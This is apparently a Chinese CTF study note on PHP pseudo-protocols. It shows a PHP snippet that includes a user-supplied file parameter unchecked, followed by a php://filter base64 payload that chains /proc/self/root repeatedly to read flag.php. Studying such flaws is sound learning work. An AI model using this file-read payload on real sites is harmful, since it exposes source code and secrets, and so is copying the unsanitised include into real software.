PHP漏洞学习一 ——伪协议

曈曈too

发布于 2023-12-18 08:05:00

1510

发布于 2023-12-18 08:05:00

文章被收录于专栏：瞳瞳too的学习笔记

伪协议

一、示例代码

题目提示：伪协议（考点:伪协议读取、系统进程）伪协议读取flag.php，/proc/self指向当前进程的

显示代码

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

相关知识：PHP伪协议

构造Payload：

?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php

版权属于：瞳瞳too

本文链接：https://cloud.tencent.com/developer/article/2371703

本站未注明转载的文章均为原创，并采用 CC BY-NC-SA 4.0 授权协议，转载请注明来源，谢谢！

本文参与腾讯云自媒体同步曝光计划，分享自作者个人站点/博客。

原始发表：2023-12-17，如有侵权请联系 cloudcommunity@tencent.com 删除

php